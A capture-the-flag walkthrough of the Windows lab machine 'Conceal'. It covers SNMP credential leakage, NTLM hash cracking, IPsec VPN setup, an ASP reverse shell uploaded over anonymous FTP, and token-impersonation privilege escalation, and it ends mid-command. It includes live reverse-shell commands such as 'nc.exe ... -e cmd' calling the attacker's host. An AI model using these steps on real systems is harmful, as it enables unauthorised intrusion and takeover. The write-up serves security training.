> For the complete documentation index, see [llms.txt](https://vinetsuicide.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://vinetsuicide.gitbook.io/writeups/windows/hard-boxes/conceal.md). # Conceal
```bash ping -c 1 10.10.10.116 PING 10.10.10.116 (10.10.10.116) 56(84) bytes of data. 64 bytes from 10.10.10.116: icmp_seq=1 ttl=127 time=68.5 ms --- 10.10.10.116 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 68.459/68.459/68.459/0.000 ms ``` host is alive, and OS is Windows. ```bash sudo nmap 10.10.10.116 -Pn -T5 -oN defconceal Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-17 19:57 +03 Nmap scan report for 10.10.10.116 Host is up. All 1000 scanned ports on 10.10.10.116 are in ignored states. Not shown: 1000 filtered tcp ports (no-response) Nmap done: 1 IP address (1 host up) scanned in 51.34 seconds ``` None port is open, very strange... Maybe there is Firewall or any other protection?? Not sure, lets check also UDP ports. ```bash sudo nmap 10.10.10.116 -Pn -oN defconceal -sU Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-17 20:01 +03 Nmap scan report for 10.10.10.116 Host is up (0.14s latency). Not shown: 998 open|filtered udp ports (no-response) PORT STATE SERVICE 161/udp open snmp 500/udp open isakmp Nmap done: 1 IP address (1 host up) scanned in 19.48 seconds ``` Ok, lets enumerate them. ### SNMP ```bash snmp-check 10.10.10.116 ``` ```bash snmp-check v1.9 - SNMP enumerator Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org) [+] Try to connect to 10.10.10.116:161 using SNMPv1 and community 'public' [*] System information: Host IP address : 10.10.10.116 Hostname : Conceal Description : Hardware: AMD64 Family 23 Model 49 Stepping 0 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 15063 Multiprocessor Free) Contact : IKE VPN password PSK - 9C8B1A372B1878851BE2C097031B6E43 Location : - Uptime snmp : 00:16:07.68 Uptime system : 00:15:57.04 System date : 2024-2-17 17:04:51.0 Domain : WORKGROUP [*] User accounts: Guest Destitute Administrator DefaultAccount [*] Network information: IP forwarding enabled : no Default TTL : 128 TCP segments received : 17791 TCP segments sent : 8 TCP segments retrans : 4 Input datagrams : 21922 Delivered datagrams : 19913 Output datagrams : 416 [*] Network interfaces: Interface : [ up ] Software Loopback Interface 1 Id : 1 Mac Address : ::::: Type : softwareLoopback Speed : 1073 Mbps MTU : 1500 In octets : 0 Out octets : 0 Interface : [ down ] WAN Miniport (IKEv2) Id : 2 Mac Address : ::::: Type : unknown Speed : 0 Mbps MTU : 0 In octets : 0 Out octets : 0 Interface : [ down ] WAN Miniport (PPTP) Id : 3 Mac Address : ::::: Type : unknown Speed : 0 Mbps MTU : 0 In octets : 0 Out octets : 0 Interface : [ down ] Microsoft Kernel Debug Network Adapter Id : 4 Mac Address : ::::: Type : ethernet-csmacd Speed : 0 Mbps MTU : 0 In octets : 0 Out octets : 0 Interface : [ down ] WAN Miniport (L2TP) Id : 5 Mac Address : ::::: Type : unknown Speed : 0 Mbps MTU : 0 In octets : 0 Out octets : 0 Interface : [ down ] Teredo Tunneling Pseudo-Interface Id : 6 Mac Address : 00:00:00:00:00:00 Type : unknown Speed : 0 Mbps MTU : 0 In octets : 0 Out octets : 0 Interface : [ down ] WAN Miniport (IP) Id : 7 Mac Address : ::::: Type : ethernet-csmacd Speed : 0 Mbps MTU : 0 In octets : 0 Out octets : 0 Interface : [ down ] WAN Miniport (SSTP) Id : 8 Mac Address : ::::: Type : unknown Speed : 0 Mbps MTU : 0 In octets : 0 Out octets : 0 Interface : [ down ] WAN Miniport (IPv6) Id : 9 Mac Address : ::::: Type : ethernet-csmacd Speed : 0 Mbps MTU : 0 In octets : 0 Out octets : 0 Interface : [ down ] WAN Miniport (PPPOE) Id : 10 Mac Address : ::::: Type : ppp Speed : 0 Mbps MTU : 0 In octets : 0 Out octets : 0 Interface : [ down ] WAN Miniport (Network Monitor) Id : 11 Mac Address : ::::: Type : ethernet-csmacd Speed : 0 Mbps MTU : 0 In octets : 0 Out octets : 0 Interface : [ up ] vmxnet3 Ethernet Adapter Id : 12 Mac Address : 00:50:56:b9:b2:5f Type : ethernet-csmacd Speed : 4294 Mbps MTU : 1500 In octets : 1317749 Out octets : 43153 Interface : [ up ] vmxnet3 Ethernet Adapter-WFP Native MAC Layer LightWeight Filter-0000 Id : 13 Mac Address : 00:50:56:b9:b2:5f Type : ethernet-csmacd Speed : 4294 Mbps MTU : 1500 In octets : 1317749 Out octets : 43153 Interface : [ up ] vmxnet3 Ethernet Adapter-QoS Packet Scheduler-0000 Id : 14 Mac Address : 00:50:56:b9:b2:5f Type : ethernet-csmacd Speed : 4294 Mbps MTU : 1500 In octets : 1317749 Out octets : 43153 Interface : [ up ] vmxnet3 Ethernet Adapter-WFP 802.3 MAC Layer LightWeight Filter-0000 Id : 15 Mac Address : 00:50:56:b9:b2:5f Type : ethernet-csmacd Speed : 4294 Mbps MTU : 1500 In octets : 1317749 Out octets : 43153 [*] Network IP: Id IP Address Netmask Broadcast 12 10.10.10.116 255.255.255.0 1 1 127.0.0.1 255.0.0.0 1 [*] Routing information: Destination Next hop Mask Metric 0.0.0.0 10.10.10.2 0.0.0.0 271 10.10.10.0 10.10.10.116 255.255.255.0 271 10.10.10.116 10.10.10.116 255.255.255.255 271 10.10.10.255 10.10.10.116 255.255.255.255 271 127.0.0.0 127.0.0.1 255.0.0.0 331 127.0.0.1 127.0.0.1 255.255.255.255 331 127.255.255.255 127.0.0.1 255.255.255.255 331 224.0.0.0 127.0.0.1 240.0.0.0 331 255.255.255.255 127.0.0.1 255.255.255.255 331 [*] TCP connections and listening ports: Local address Local port Remote address Remote port State 0.0.0.0 21 0.0.0.0 0 listen 0.0.0.0 80 0.0.0.0 0 listen 0.0.0.0 135 0.0.0.0 0 listen 0.0.0.0 445 0.0.0.0 0 listen 0.0.0.0 49664 0.0.0.0 0 listen 0.0.0.0 49665 0.0.0.0 0 listen 0.0.0.0 49666 0.0.0.0 0 listen 0.0.0.0 49667 0.0.0.0 0 listen 0.0.0.0 49668 0.0.0.0 0 listen 0.0.0.0 49669 0.0.0.0 0 listen 0.0.0.0 49670 0.0.0.0 0 listen 10.10.10.116 139 0.0.0.0 0 listen [*] Listening UDP ports: Local address Local port 0.0.0.0 123 0.0.0.0 161 0.0.0.0 500 0.0.0.0 4500 0.0.0.0 5050 0.0.0.0 5353 0.0.0.0 5355 0.0.0.0 56839 10.10.10.116 137 10.10.10.116 138 10.10.10.116 1900 10.10.10.116 62135 127.0.0.1 1900 127.0.0.1 62136 [*] Network services: Index Name 0 Power 1 Server 2 Themes 3 IP Helper 4 DNS Client 5 Data Usage 6 Superfetch 7 DHCP Client 8 Time Broker 9 TokenBroker 10 Workstation 11 SNMP Service 12 User Manager 13 VMware Tools 14 Windows Time 15 CoreMessaging 16 Plug and Play 17 Print Spooler 18 Windows Audio 19 SSDP Discovery 20 Task Scheduler 21 Windows Search 22 Windows Update 23 Security Center 24 Storage Service 25 Windows Firewall 26 CNG Key Isolation 27 COM+ Event System 28 Windows Event Log 29 IPsec Policy Agent 30 Geolocation Service 31 Group Policy Client 32 RPC Endpoint Mapper 33 Data Sharing Service 34 Device Setup Manager 35 Network List Service 36 System Events Broker 37 User Profile Service 38 Base Filtering Engine 39 Local Session Manager 40 Microsoft FTP Service 41 TCP/IP NetBIOS Helper 42 Cryptographic Services 43 Diagnostic System Host 44 Tile Data model server 45 COM+ System Application 46 Diagnostic Service Host 47 Shell Hardware Detection 48 State Repository Service 49 Diagnostic Policy Service 50 Network Connection Broker 51 Security Accounts Manager 52 Network Location Awareness 53 Windows Connection Manager 54 Windows Font Cache Service 55 Remote Procedure Call (RPC) 56 DCOM Server Process Launcher 57 Microsoft Storage Spaces SMP 58 Windows Audio Endpoint Builder 59 Application Host Helper Service 60 Network Store Interface Service 61 Client License Service (ClipSVC) 62 Distributed Link Tracking Client 63 AppX Deployment Service (AppXSVC) 64 System Event Notification Service 65 World Wide Web Publishing Service 66 Connected Devices Platform Service 67 Windows Defender Antivirus Service 68 Windows Management Instrumentation 69 Windows Process Activation Service 70 Distributed Transaction Coordinator 71 IKE and AuthIP IPsec Keying Modules 72 Microsoft Account Sign-in Assistant 73 VMware CAF Management Agent Service 74 VMware Physical Disk Helper Service 75 Background Intelligent Transfer Service 76 Background Tasks Infrastructure Service 77 Program Compatibility Assistant Service 78 VMware Alias Manager and Ticket Service 79 Connected User Experiences and Telemetry 80 WinHTTP Web Proxy Auto-Discovery Service 81 Windows Defender Security Centre Service 82 Windows Push Notifications System Service 83 Windows Defender Antivirus Network Inspection Service 84 Windows Driver Foundation - User-mode Driver Framework [*] Processes: Id Status Name Path Parameters 1 running System Idle Process 4 running System 272 running svchost.exe C:\Windows\system32\ -k LocalServiceNoNetwork 296 running smss.exe 388 running csrss.exe 464 running wininit.exe 472 running csrss.exe 532 running winlogon.exe 608 running services.exe 616 running lsass.exe C:\Windows\system32\ 676 running svchost.exe C:\Windows\system32\ -k LocalService 700 running svchost.exe C:\Windows\system32\ -k DcomLaunch 708 running fontdrvhost.exe 716 running fontdrvhost.exe 812 running svchost.exe C:\Windows\system32\ -k RPCSS 832 running vmacthlp.exe C:\Program Files\VMware\VMware Tools\ 904 running dwm.exe 948 running svchost.exe C:\Windows\System32\ -k LocalServiceNetworkRestricted 960 running svchost.exe C:\Windows\system32\ -k LocalSystemNetworkRestricted 988 running svchost.exe C:\Windows\System32\ -k LocalSystemNetworkRestricted 1040 running svchost.exe C:\Windows\System32\ -k NetworkService 1068 running svchost.exe C:\Windows\system32\ -k netsvcs 1088 running Memory Compression 1168 running svchost.exe C:\Windows\System32\ -k LocalServiceNetworkRestricted 1252 running svchost.exe C:\Windows\System32\ -k LocalServiceNetworkRestricted 1260 running svchost.exe C:\Windows\system32\ -k LocalServiceNetworkRestricted 1280 running svchost.exe C:\Windows\System32\ -k smphost 1284 running SearchProtocolHost.exe C:\Windows\system32\ Global\UsGthrFltPipeMssGthrPipe2_ Global\UsGthrCtrlFltPipeMssGthrPipe2 1 -2147483646 "Software\Microsoft\Windows Search" "Mozil 1412 running WmiPrvSE.exe C:\Windows\system32\wbem\ 1448 running spoolsv.exe C:\Windows\System32\ 1588 running svchost.exe C:\Windows\system32\ -k appmodel 1600 running MpCmdRun.exe C:\Program Files\Windows Defender\ -IdleTask -TaskName WdCacheMaintenance 1700 running svchost.exe C:\Windows\system32\ -k apphost 1708 running svchost.exe C:\Windows\System32\ -k utcsvc 1756 running svchost.exe C:\Windows\system32\ -k ftpsvc 1824 running snmp.exe C:\Windows\System32\ 1832 running SecurityHealthService.exe 1856 running VGAuthService.exe C:\Program Files\VMware\VMware Tools\VMware VGAuth\ 1868 running vmtoolsd.exe C:\Program Files\VMware\VMware Tools\ 1892 running ManagementAgentHost.exe C:\Program Files\VMware\VMware Tools\VMware CAF\pme\bin\ 1908 running svchost.exe C:\Windows\system32\ -k iissvcs 1936 running MsMpEng.exe 2236 running dllhost.exe C:\Windows\system32\ /Processid:{02D4B3F1-FD88-11D1-960D-00805FC79235} 2572 running svchost.exe C:\Windows\system32\ -k NetworkServiceNetworkRestricted 2928 running WmiPrvSE.exe C:\Windows\system32\wbem\ 3004 running svchost.exe 3052 running svchost.exe C:\Windows\system32\ -k LocalServiceAndNoImpersonation 3132 running NisSrv.exe 3268 running LogonUI.exe /flags:0x0 /state0:0xa39c8855 /state1:0x41c64e6d 3376 running SearchIndexer.exe C:\Windows\system32\ /Embedding 3384 running SearchFilterHost.exe C:\Windows\system32\ 0 692 696 704 8192 700 3400 running msdtc.exe C:\Windows\System32\ 4064 running conhost.exe \??\C:\Windows\system32\ 0x4 [*] Storage information: Description : ["C:\\ Label: Serial Number 91180ed"] Device id : [#] Filesystem type : ["unknown"] Device unit : [#] Memory size : 14.51 GB Memory used : 10.08 GB Description : ["Virtual Memory"] Device id : [#] Filesystem type : ["unknown"] Device unit : [#] Memory size : 3.12 GB Memory used : 1010.44 MB Description : ["Physical Memory"] Device id : [#] Filesystem type : ["unknown"] Device unit : [#] Memory size : 2.00 GB Memory used : 1007.94 MB [*] File system information: Index : 1 Mount point : Remote mount point : - Access : 1 Bootable : 0 [*] Device information: Id Type Status Descr 1 unknown running Microsoft XPS Document Writer v4 2 unknown running Microsoft Print To PDF 3 unknown running Microsoft Shared Fax Driver 4 unknown running Unknown Processor Type 5 unknown running Unknown Processor Type 6 unknown unknown Software Loopback Interface 1 7 unknown unknown WAN Miniport (IKEv2) 8 unknown unknown WAN Miniport (PPTP) 9 unknown unknown Microsoft Kernel Debug Network Adapter 10 unknown unknown WAN Miniport (L2TP) 11 unknown unknown Teredo Tunneling Pseudo-Interface 12 unknown unknown WAN Miniport (IP) 13 unknown unknown WAN Miniport (SSTP) 14 unknown unknown WAN Miniport (IPv6) 15 unknown unknown WAN Miniport (PPPOE) 16 unknown unknown WAN Miniport (Network Monitor) 17 unknown unknown vmxnet3 Ethernet Adapter 18 unknown unknown vmxnet3 Ethernet Adapter-WFP Native MAC Layer LightWeight Filter 19 unknown unknown vmxnet3 Ethernet Adapter-QoS Packet Scheduler-0000 20 unknown unknown vmxnet3 Ethernet Adapter-WFP 802.3 MAC Layer LightWeight Filter- 21 unknown running Fixed Disk 22 unknown running IBM enhanced (101- or 102-key) keyboard, Subtype=(0) [*] Software components: Index Name 1 Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 2 VMware Tools 3 Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [*] IIS server information: TotalBytesSentLowWord : 0 TotalBytesReceivedLowWord : 0 TotalFilesSent : 0 CurrentAnonymousUsers : 0 CurrentNonAnonymousUsers : 0 TotalAnonymousUsers : 0 TotalNonAnonymousUsers : 0 MaxAnonymousUsers : 0 MaxNonAnonymousUsers : 0 CurrentConnections : 0 MaxConnections : 0 ConnectionAttempts : 0 LogonAttempts : 0 Gets : 0 Posts : 0 Heads : 0 Others : 0 CGIRequests : 0 BGIRequests : 0 NotFoundErrors : 0 ``` Too much interesting information, but MOST interesting is this. ```bash Contact : IKE VPN password PSK - 9C8B1A372B1878851BE2C097031B6E43 ``` So this is VPN. But firstly lets crack a hash, I will try to identify a type of hash. ```bash hash-identifier ######################################################################### # __ __ __ ______ _____ # # /\ \/\ \ /\ \ /\__ _\ /\ _ `\ # # \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ # # \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ # # \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ # # \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ # # \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 # # By Zion3R # # www.Blackploit.com # # Root@Blackploit.com # ######################################################################### -------------------------------------------------- HASH: 9C8B1A372B1878851BE2C097031B6E43 Possible Hashs: [+] MD5 [+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username))) Least Possible Hashs: [+] RAdmin v2.x [+] NTLM [+] MD4 [+] MD2 [+] MD5(HMAC) [+] MD4(HMAC) [+] MD2(HMAC) [+] MD5(HMAC(Wordpress)) [+] Haval-128 [+] Haval-128(HMAC) [+] RipeMD-128 [+] RipeMD-128(HMAC) [+] SNEFRU-128 [+] SNEFRU-128(HMAC) [+] Tiger-128 [+] Tiger-128(HMAC) [+] md5($pass.$salt) [+] md5($salt.$pass) [+] md5($salt.$pass.$salt) [+] md5($salt.$pass.$username) [+] md5($salt.md5($pass)) [+] md5($salt.md5($pass)) [+] md5($salt.md5($pass.$salt)) [+] md5($salt.md5($pass.$salt)) [+] md5($salt.md5($salt.$pass)) [+] md5($salt.md5(md5($pass).$salt)) [+] md5($username.0.$pass) [+] md5($username.LF.$pass) [+] md5($username.md5($pass).$salt) [+] md5(md5($pass)) [+] md5(md5($pass).$salt) [+] md5(md5($pass).md5($salt)) [+] md5(md5($salt).$pass) [+] md5(md5($salt).md5($pass)) [+] md5(md5($username.$pass).$salt) [+] md5(md5(md5($pass))) [+] md5(md5(md5(md5($pass)))) [+] md5(md5(md5(md5(md5($pass))))) [+] md5(sha1($pass)) [+] md5(sha1(md5($pass))) [+] md5(sha1(md5(sha1($pass)))) [+] md5(strtoupper(md5($pass))) -------------------------------------------------- HASH: e^C Bye! ``` Hmm too much possibilities, lets try some of this. Tried MD4 and MD5, but only NTLM have worked. ```bash hashcat hash /usr/share/wordlists/rockyou.txt -m 1000 hashcat (v6.2.6) starting OpenCL API (OpenCL 3.0 PoCL 5.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project] ================================================================================================================================================== * Device #1: cpu-haswell-Intel(R) Core(TM) i7-10750H CPU @ 2.60GHz, 6861/13786 MB (2048 MB allocatable), 12MCU Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Optimizers applied: * Zero-Byte * Early-Skip * Not-Salted * Not-Iterated * Single-Hash * Single-Salt * Raw-Hash ATTENTION! Pure (unoptimized) backend kernels selected. Pure kernels can crack longer passwords, but drastically reduce performance. If you want to switch to optimized kernels, append -O to your commandline. See the above message to find out about the exact limits. Watchdog: Temperature abort trigger set to 90c Host memory required for this attack: 3 MB Dictionary cache hit: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344385 * Bytes.....: 139921507 * Keyspace..: 14344385 9c8b1a372b1878851be2c097031b6e43:Dudecake1! Session..........: hashcat Status...........: Cracked Hash.Mode........: 1000 (NTLM) Hash.Target......: 9c8b1a372b1878851be2c097031b6e43 Time.Started.....: Sat Feb 17 20:19:08 2024 (1 sec) Time.Estimated...: Sat Feb 17 20:19:09 2024 (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 9378.6 kH/s (0.23ms) @ Accel:1024 Loops:1 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 11231232/14344385 (78.30%) Rejected.........: 0/11231232 (0.00%) Restore.Point....: 11218944/14344385 (78.21%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidate.Engine.: Device Generator Candidates.#1....: E19P77g -> Devann Hardware.Mon.#1..: Temp: 83c Util: 38% Started: Sat Feb 17 20:18:53 2024 Stopped: Sat Feb 17 20:19:11 2024 ``` And password is "Dudecake1!" But we need to install Ipsec. ```bash apt-get install strongswan ``` We have VPN Ip and cracked PSK, now we need a IKE phases. ```bash ike-scan 10.10.10.116 Starting ike-scan 1.9.5 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 10.10.10.116 Main Mode Handshake returned HDR=(CKY-R=52f33e72be3947d9) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration(4)=0x00007080) VID=1e2b516905991c7d7c96fcbfb587e46100000009 (Windows-8) VID=4a131c81070358455c5728f20e95452f (RFC 3947 NAT-T) VID=90cb80913ebb696e086381b5ec427b1f (draft-ietf-ipsec-nat-t-ike-02\n) VID=4048b7d56ebce88525e7de7f00d6c2d3 (IKE Fragmentation) VID=fb1de3cdf341b7ea16b7e5be0855f120 (MS-Negotiation Discovery Capable) VID=e3a5966a76379fe707228231e5ce8652 (IKE CGA version 1) Ending ike-scan 1.9.5: 1 hosts scanned in 0.097 seconds (10.34 hosts/sec). 1 returned handshake; 0 returned notify ``` Now if we dont have this files, we can create them * */etc/ipsec.conf* * */etc/ipsec.secrets* ipsec.conf ```bash config setup charondebug="all" uniqueids=yes strictcrlpolicy=no conn %default authby=secret conn conceal keyexchange=ikev1 left=10.10.14.23 right=10.10.10.116 rightsubnet=10.10.10.116[tcp] auto=add ike=3des-sha1-modp1024! esp=3des-sha1! type=transport ``` ipsec.secrets ```bash %any : PSK "Dudecake1!" ``` Now lets test it. ```bash sudo ipsec up conceal initiating Main Mode IKE_SA conceal[1] to 10.10.10.116 generating ID_PROT request 0 [ SA V V V V V ] sending packet: from 10.10.16.7[500] to 10.10.10.116[500] (236 bytes) received packet: from 10.10.10.116[500] to 10.10.16.7[500] (208 bytes) parsed ID_PROT response 0 [ SA V V V V V V ] received MS NT5 ISAKMPOAKLEY vendor ID received NAT-T (RFC 3947) vendor ID received draft-ietf-ipsec-nat-t-ike-02\n vendor ID received FRAGMENTATION vendor ID received unknown vendor ID: fb:1d:e3:cd:f3:41:b7:ea:16:b7:e5:be:08:55:f1:20 received unknown vendor ID: e3:a5:96:6a:76:37:9f:e7:07:22:82:31:e5:ce:86:52 selected proposal: IKE:3DES_CBC/HMAC_SHA1_96/PRF_HMAC_SHA1/MODP_1024 generating ID_PROT request 0 [ KE No NAT-D NAT-D ] sending packet: from 10.10.16.7[500] to 10.10.10.116[500] (244 bytes) received packet: from 10.10.10.116[500] to 10.10.16.7[500] (260 bytes) parsed ID_PROT response 0 [ KE No NAT-D NAT-D ] generating ID_PROT request 0 [ ID HASH ] sending packet: from 10.10.16.7[500] to 10.10.10.116[500] (76 bytes) received packet: from 10.10.10.116[500] to 10.10.16.7[500] (68 bytes) parsed ID_PROT response 0 [ ID HASH ] IKE_SA conceal[1] established between 10.10.16.7[Destitute]...10.10.10.116[10.10.10.116] scheduling reauthentication in 9758s maximum IKE_SA lifetime 10298s generating QUICK_MODE request 3866952323 [ HASH SA No ID ID ] sending packet: from 10.10.16.7[500] to 10.10.10.116[500] (220 bytes) received packet: from 10.10.10.116[500] to 10.10.16.7[500] (188 bytes) parsed QUICK_MODE response 3866952323 [ HASH SA No ID ID ] selected proposal: ESP:3DES_CBC/HMAC_SHA1_96/NO_EXT_SEQ CHILD_SA conceal{1} established with SPIs c7da592e_i 67929f04_o and TS 10.10.16.7/32 === 10.10.10.116/32[tcp] connection 'conceal' established successfully ``` We have connected! I was scanned TCP ports again. ```bash PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd |_ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: |_ SYST: Windows_NT 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-title: IIS Windows |_http-server-header: Microsoft-IIS/10.0 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2024-02-17T17:33:06 |_ start_date: 2024-02-17T16:48:54 | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 37.97 seconds ``` ### FTP ```bash nxc ftp 10.10.10.116 -u anonymous -p anonymous FTP 10.10.10.116 21 10.10.10.116 [*] Banner: Microsoft FTP Service FTP 10.10.10.116 21 10.10.10.116 [+] anonymous:anonymous - Anonymous Login! musor@kali:~/wu/conceal$ ftp anonymous@10.10.10.116 Connected to 10.10.10.116. 220 Microsoft FTP Service 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT. ftp> ls 229 Entering Extended Passive Mode (|||49674|) 125 Data connection already open; Transfer starting. 226 Transfer complete. ftp> ls -la 229 Entering Extended Passive Mode (|||49675|) 125 Data connection already open; Transfer starting. 226 Transfer complete. ftp> exit 221 Goodbye. ``` Got a anonymous access, nothing there BUT can upload a files. ### HTTP
Standard IIS template. Lets fuzz it! ```bash gobuster dir -u http://10.10.10.116/ -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt -x asp,aspx -o gobuster.log =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.10.116/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Extensions: asp,aspx [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /upload (Status: 301) [Size: 150] [--> http://10.10.10.116/upload/] /Upload (Status: 301) [Size: 150] [--> http://10.10.10.116/Upload/] /UPLOAD (Status: 301) [Size: 150] [--> http://10.10.10.116/UPLOAD/] Progress: 59294 / 90003 (65.88%)^C [!] Keyboard interrupt detected, terminating. Progress: 59309 / 90003 (65.90%) [ERROR] context canceled =============================================================== Finished =============================================================== ``` so there is upload directory, but it is empty. ### destitute Lets try to upload a file via ftp, and check this directory. ```bash echo "hello" > 1 ------------ tp anonymous@10.10.10.116 Connected to 10.10.10.116. 220 Microsoft FTP Service 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT. ftp> ls 229 Entering Extended Passive Mode (|||49676|) 125 Data connection already open; Transfer starting. 226 Transfer complete. ftp> put 1 local: 1 remote: 1 229 Entering Extended Passive Mode (|||49679|) 125 Data connection already open; Transfer starting. 100% |**************************************************************************| 3 88.77 KiB/s --:-- ETA 226 Transfer complete. 3 bytes sent in 00:00 (0.03 KiB/s) ftp> exit ``` ```bash curl http://10.10.10.116/upload/1 hello ``` Good! Now lets upload a real reverse-shell. Uploaded a asp file, and executed it. ```bash lwrap nc -lnvp 4242 listening on [any] 4242 ... connect to [10.10.16.7] from (UNKNOWN) [10.10.10.116] 49685 Microsoft Windows [Version 10.0.15063] (c) 2017 Microsoft Corporation. All rights reserved. C:\Windows\SysWOW64\inetsrv>whoami whoami conceal\destitute ``` And we are in! ```bash C:\Windows\SysWOW64\inetsrv>powershell -ep bypass powershell -ep bypass Windows PowerShell Copyright (C) 2016 Microsoft Corporation. All rights reserved. PS C:\Users\Destitute\Desktop> ls ls Directory: C:\Users\Destitute\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 17/02/2024 18:25 34 proof.txt -ar--l 02/11/2022 14:55 0 user.txt PS C:\Users\Destitute\Desktop> type user.txt type user.txt 4ec0811a4a06b01dc609adba522db797 PS C:\Users\Destitute\Desktop> type proof.txt type proof.txt 4ec0811a4a06b01dc609adba522db797 ``` {% hint style="info" %} *Instead of CMD I prefer using powershell with bypass instructions to execute some malicious scripts.* {% endhint %} Got a user.flag, also there is a proof.txt, but this is the same flag as user.txt, idk what is this. ### Privilege Escalation Lets move on. ```bash PS C:\> whoami /all whoami /all USER INFORMATION ---------------- User Name SID ================= ============================================= conceal\destitute S-1-5-21-4220874023-1166253506-927404976-1001 GROUP INFORMATION ----------------- Group Name Type SID Attributes ==================================== ================ ================================================================================================ ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\BATCH Well-known group S-1-5-3 Mandatory group, Enabled by default, Enabled group CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group BUILTIN\IIS_IUSRS Alias S-1-5-32-568 Mandatory group, Enabled by default, Enabled group LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group IIS APPPOOL\DefaultAppPool Well-known group S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Unknown SID type S-1-5-32-4028125388-2803578072-1053907958-341417128-2434011155-477421480-740873757-3973419746 Mandatory group, Enabled by default, Enabled group Unknown SID type S-1-5-32-2745667521-2937320506-1424439867-4164262144-2333007343-2599685697-2993844191-2003921822 Mandatory group, Enabled by default, Enabled group Unknown SID type S-1-5-32-1034403361-4122601751-838272506-684212390-1217345422-475792769-1698384238-1075311541 Mandatory group, Enabled by default, Enabled group Mandatory Label\High Mandatory Level Label S-1-16-12288 PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeShutdownPrivilege Shut down the system Disabled SeAuditPrivilege Generate security audits Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled ``` By doing simple enumeration, we can see that this user have SeImpersonatePrivilege that we can abuse with couple of tools like PrinfSpoofer or JuicyPotato-NG. So why we are waiting? Lets get Administrator. Started a SMB server to get a tool. ```bash impacket-smbserver -smb2support share . ``` ```bash net use * \\10.10.16.7\share ``` Tried PrintSpoofer but it didnt work, idk why, lets use another one. ```bash PS C:\temp> .\print.exe -c "C:\temp\nc.exe 10.10.16.7 4243 -e cmd" .\print.exe -c "C:\temp\nc.exe 10.10.16.7 4243 -e cmd" ``` ```bash PS C:\temp> cp Z:\JuicyPotatoNG.exe . cp Z:\JuicyPotatoNG.exe . ``` But before executing it lets start a nc listener. ```bash rlwrap nc -lnvp 4243 ``` ```bash PS C:\temp> .\JuicyPotatoNG.exe -t * -p 